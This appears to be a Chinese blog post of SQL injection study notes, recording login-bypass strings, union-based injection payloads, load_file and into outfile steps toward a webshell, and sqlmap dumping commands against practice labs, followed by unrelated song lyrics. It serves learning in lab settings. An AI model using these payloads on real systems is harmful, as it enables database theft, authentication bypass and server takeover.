sql注入

1、SQL Injection

SQL注入 (SQL Injection):通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2.SQL注入的安全隐患

一旦应用中存在sql注入漏洞,就可能会造成如下影响:
​ 数据库内的信息全部被外界窃取。
​ 数据库中的内容被篡改。
​ 登录认证被绕过
​ 其他,例如服务器上的文件被读取或修改/服务上的程序被执行等。

  1. SQL注入产生的过程

  2. 如果一个网站使用数据库来存储用户登录信息,并执行如下的SQL语句进行登录尝试: select * from users where username='farmsec' and password='123456' 在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。例如攻击者知道应用程序的username为farmsec,那么他就可以通过提交一下用户名和任意密码,以管理员的身份登录: farmsec' -- 应用程序将执行以下查询: select * from users where username='farmsec' --' and password='sadfas' 于是乎这个查询完全避开了密码检查。
    这也引出了经典的万能密码问题。
    有些网站的登录页面其背后的逻辑就是上文中的语句。
    select * from users where username='$name' and password='$passwd'or 1=1 --
    我们可以在密码部分注入:'or 1=1 --
    那么整个句子就变成:
    select * from users where username='farmsec' and password=''or 1=1 --
    因为1永远等于1,登录验证就会被绕过。
    一些常见的万能密码形式:
    'or'='or'
    admin'--
    admin' or 4=4--
    admin' or '1'='1'--
    "or "a"="a
    admin' or 2=2#
    a' having 1=1#
    a' havinku ming |g 1=1--
    admin' or '2'='2
    ')or('a'='a
    or 4=4--

  3. SQL注入的分类
    SQL注入根据不同的分类方法会有多种类别。但依照最大的区别特征而言,主要分为显注和盲注两类。
    显注是指,当攻击者拼接SQL语句注入时,网站会把SQL语句的执行结果显示在网页上。
    盲注与显著相反,网站不会把SQL语句的执行结果显示出来。盲注还分为布尔性盲注和布时间型两者 布尔(真假)

  4. 常见函数

常见函数

database() #数据库名称
version() #数据库版本
user() #数据库的使用者
group_concat() #将参数拼接到一行进行集中展示
hex() #将参数转换为16进制编码
unhex() #将参数转换为16进制解码
limit a,b #依次取值,从a+1的位置取b数量的值进行输出
into outfile() #向目标服务器中写入指定的文件++
load_file() #读取目标服务器的本地文件

常用表

information_schema.schemata #存储了数据库中所有数据库库名的表
information_schema.tables #存储了数据库中所有数据表表名的表
information_schema.columns #存储了数据库中所有字段名的表

常用字段

table_schema/schema_name #数据库名
table_name #数据表名
column_name #字段名

SqlLib

/Less-1/?id=1

字符型注入单引号闭合

猜测实际列数--order by--二分法

$id=1' order by 3 --+
select * from user where id='1' order by 3 --+'

查看回显位置

$id=-1' union select 1,2,3 --+
select * from user where id='-1' union select 1,2,3 --+'

查数据库名称

$id=-1' union select 1,database(),3 --+
select * from user where id='-1' union select 1,database(),3 --+'

查表名

$id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

查列名

$id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
$查字段值--id,username,password
$id=-1' union select 1,group_concat(id,':',username,':',password),3 from users --+

传参,查询闭合方式为数字型参数
/Less-2/?id=1 and 1=1 --+

猜测实际列数
?id=2 order by 3--+

查看回显位置
?id=-2 union select 1, 2, 3--+

查数据库库名
?id=-2 union select 1, database(), 3--+ ------> # database() --> security

查表名
?id=-2 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema="security"--+ ---------> # group_concat(table_name) ---> emails,referers,uagents,users

查列名
?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security"and table_name="uagents"--+ -------> group_concat(column_name) ----> id,uagent,ip_address,username

查询字段值
?id=-2 union select 1,group_concat(id,':',uagent,':',ip_address,':',username),3 from uagents--+

yyy靶场 SQL --> 1.1sql-整数

传参,查询闭合方式为数字型参数
select * from news where id=1 and 1=1--+

猜测实际列数
seletct * from new where id=1 order by 2 --> 经过猜测实际列数为2

查看回显位置
select * from news where id=-1 union select 1,2 --+

查看数据库名
select * from news id=-1 union select database(),2--+ --------> databse() 为 hazel

查看数据表名
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema="hazel"--+ ----------->group_concat(table_name) 为flag,news

查看列名
?id=-1 union select group_concat(column_name),3 from information_schema.columns where table_schema="hazel" and table_name="flag" --+ ---->group_concat(column_name) 为什么flag

查询字段值
?id=-1 union select flag ,2 from flag--+ -------> flag 为 hazel{61426c8c-4849-4d67-9004-10ee584bd1a7}

文章管理系统 49.235.78.245:1112

数字型注入
show.php?id=33 and 1=1--+

猜测实际列数
show.php?id=33 order by 15--+

猜测数据库名为 cms
/show.php?id=-32 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+

猜测数据库表
?id=-32 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11 ,12,13,14,15 from information_schema.tables where table_schema=database()--+ -------》 cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

表数量过多仅猜测指定第二个表名称
show.php?id=-32 union select 1,2,unhex(hex(table_name)),4,5,6,7,8,9,10,11 ,12,13,14,15 from information_schema.tables where table_schema='cms' limit 1,1 --+

查询字段值
/show.php?id=-32 union select 1,2,user(),4,5,6,7,8,9,10,unhex(hex(group_concat(column_name))),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' --+ --------》 userid,username,password

查询字段值
/show.php?id=-32 union select 1,2,user(),4,5,6,7,8,9,10,group_concat(userid,username,password),12,13,14,15 from cms_users --+ ----------》1admine10adc3949ba59abbe56e057f20f883e

读取文件
load——file() --> 绝对路径,读取文件
/show.php?id=-32 union select 1,2,load_file("/etc/passwd"),4,5,6,7,8,9,10,11,12,13,14,15 --+

写入文件
into outfile()
1、需要绝对路径,要具备木马的绝对文件
2、mysql设置开启secure——file——priv=""
secure_file_priv="NULL" 表示限制mysqld不允许导入导出
secure_file_priv="/dir" 表示限制mysqld只能在/dir目录中执行导入导出,

/show.php?id=-32 union select 1,2,"",4,5,6,7,8,9,10,11,12,13,14,15 into outfile "/var/www/html/zzypte969798.php" --+

木马文件
1都需要执行权限
2 种类比较多 exe jsp php webshell 可以远程执行代码,远程执行系统命令,实现命令注入

php
eval() 传递给它的参数都会被识别为php代码进行解析
system() 传递给它的参数都会被识别为系统命令进行解析

php一句话木马

# @防止报错

传参方式
$_POST 请求体中传参 id=1
$_GET url后跟?id=1
$_REQUEST

sqlmap
1、 sqlmap -u"http://XXXXXXX?id=1"
如果存在注入点,将会显示Web容器、数据库版本信息。
2、读取数据库:sqlmap -u"http://XXXXXXX?id=1" --dbs
3、查看当前应用程序所用数据库:sqlmap -u "http://XXXXXXX?id=1" --current-db
4、列出指定数据库的所有表:sqlmap -u"http://XXXXXXX?id=1"--tables -D "security"
5、读取指定表中的字段名称:sqlmap -u"http://XXXXXXX?id=1"--columns -T "users" -D "security"
6、读取指定字段的内容:sqlmap -u"http://XXXXXXX?id=1" --dump-C "username,password" -T "users" -D"security"
--dump参数意为转存数据,
-C参数指定字段名称
-T指定表名
-D指定数据库名称
如果有数据库关键字需要加上"[]",如[User]。
读取数据后,数据会存到sqlmap/output/下

kali中sqlmap文件夹路径
/usr/share/sqlmap

查看所有数据库
sqlmap -u"http://49.235.78.245:1111/Less-1/?id=1" --dbs
查看当前数据库 current database: 'security'
sqlmap -u"http://49.235.78.245:1111/Less-1/?id=1" --current-db
查看当前数据库下的表名称
sqlmap -u "http://49.235.78.245:1111/Less-1/?id=1" --tables -D "security"
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+

爆破表下面的列名
sqlmap -u "http://49.235.78.245:1111/Less-1/?id=1" --columns -T "emails" -D "security"
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email_id | varchar(30) |
| id | int(3) |
+----------+-------------+

爆破字段值
sqlmap -u "http://49.235.78.245:1111/Less-1/?id=1" --dump -C "id,usename,password" -T "users" -D "security"

Database: security
Table: users
[13 entries]
+----+---------+------------+
| id | usename | password |
+----+---------+------------+
| 1 | | Dumb |
| 2 | | I-kill-you |
| 3 | | p@ssword |
| 4 | | crappy |
| 5 | | stupidity |
| 6 | | genious |
| 7 | | mob!le |
| 8 | | admin |
| 9 | | admin1 |
| 10 | | admin2 |
| 11 | | admin3 |
| 12 | | dumbo |
| 14 | | admin4 |
+----+---------+------------+

万能密码登录

sql LIB ----> http://49.235.78.245:1111/Less-11/

$username $password
select * from users where username='$username' and password='$password' limit 0,1

or
左右两边均为真值时,输出为真
左右两边一边为真值,一边为假值时,输出为真
左右两边均为假值时,输出为假

$username=admin' or '1'='1
$password=admin' or '1'='1
select * from users where username='admin' or '1'='1' and password='admin' or '1'='1' limit 0,1

$username= admin' or 1=1 #
$password
select * from users where username='admin' or 1=1 #' and password='$password' limit 0,1

猜测实际列数--order by--二分法

$username=1' order by 2 #

查看回显位置

$username=1' union select 1,2 #

查数据库名称

$username=1' union select 1,database() #

查表名

$username=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

查列名

$username=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
$查字段值--id,username,password
$username=1' union select 1,group_concat(id,':',username,':',password) from users #

posted @   向qian看!  阅读(21)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
  1. 1 赵雷 我记得
赵雷 - 我记得
00:00 / 00:00
An audio error has occurred.

作词 : 赵雷

作曲 : 赵雷

编曲 : 赵雷

制作人 : 赵雷

我带着比身体重的行李 游入尼罗河底 经过几道闪电 看到一堆光圈 不确定是不是这里

我看到几个人站在一起 他们拿着剪刀摘走我的行李 擦拭我的脑袋 没有机会返回去

直到我听见一个声音 我确定是你

直到我听见一个声音 我确定是你

可你怎记得我

我带来了另界的消息 可我怎么告知你

注定失忆着相遇

我记得这里是片树林 后面有个山坡 山坡上的枣树每当秋天到来 我们把枣装满口袋

我记得这里是片树林 后面有个山坡 山坡上的枣树每当秋天到来 我们把枣装满口袋

我记得除了朋友我还 做过你的叔父 你总喜欢跟在我的屁股后面 只是为了那几个铜钱

我记得我们曾是恋人 后来战争爆发 你上战场后就再也没有回来 直到收不到你的信

我们总这样重复分离 却要重新开始 相互送别对方 说着来世再见 再次失忆着相聚

呜 呜 呜 呜…

呜 呜 呜 呜…

快来抱抱 快来抱抱我

呜 呜 呜 呜…

快来抱抱 快来抱抱我

在路上我遇到了一位故去多年的人 她是如此年轻 扎着过肩马尾 露出和你一样的笑

在路上我遇到了一位故去多年的人 她是如此年轻 扎着过肩马尾 露出和你一样的笑

她和我讲了很多关于你成长的故事 在星空另一端 思念从未停止 如同墓碑上的名字

不要哭我最亲爱的人 我最好的玩伴 时空是个圆圈 直行或是转弯 我们最终都会相见

不要哭我最亲爱的人 我最好的玩伴 时空是个圆圈 直行或是转弯 我们最终都会相见

在城池的某个拐角处 在夕阳西下时 在万家灯火的某一扇窗纱里 人们失忆着相聚

呜 快来抱抱 快来抱抱我

呜 快来抱抱 快来抱抱我

呜 快来抱抱 快来抱抱我 我终于找到你

呜 快来抱抱 快来抱抱我 我终于找到你

电吉他 : 刘磊/谢星

电吉他 : 刘磊/谢星

电吉他 : 刘磊/谢星

贝斯 : Damien Banzigou

鼓 : Chris Trzcinski

钢琴 : 姜伯虎

打击乐 : 刘恒/Chris Trzcinski

管风琴 : 赵雷

口琴 : 赵雷

和声 : 朱莉/旭东

录音师 : 张俊

混音师 : 时俊峰

录音室 : 摩登天空/55TEC

录音助理 : 陈彬彬/朱莉

母带工作室 : Sterling Sound

母带工程师 : Randy Merrill

封面设计 : 韩东/小强/阿穆隆

点击右上角即可分享
微信分享提示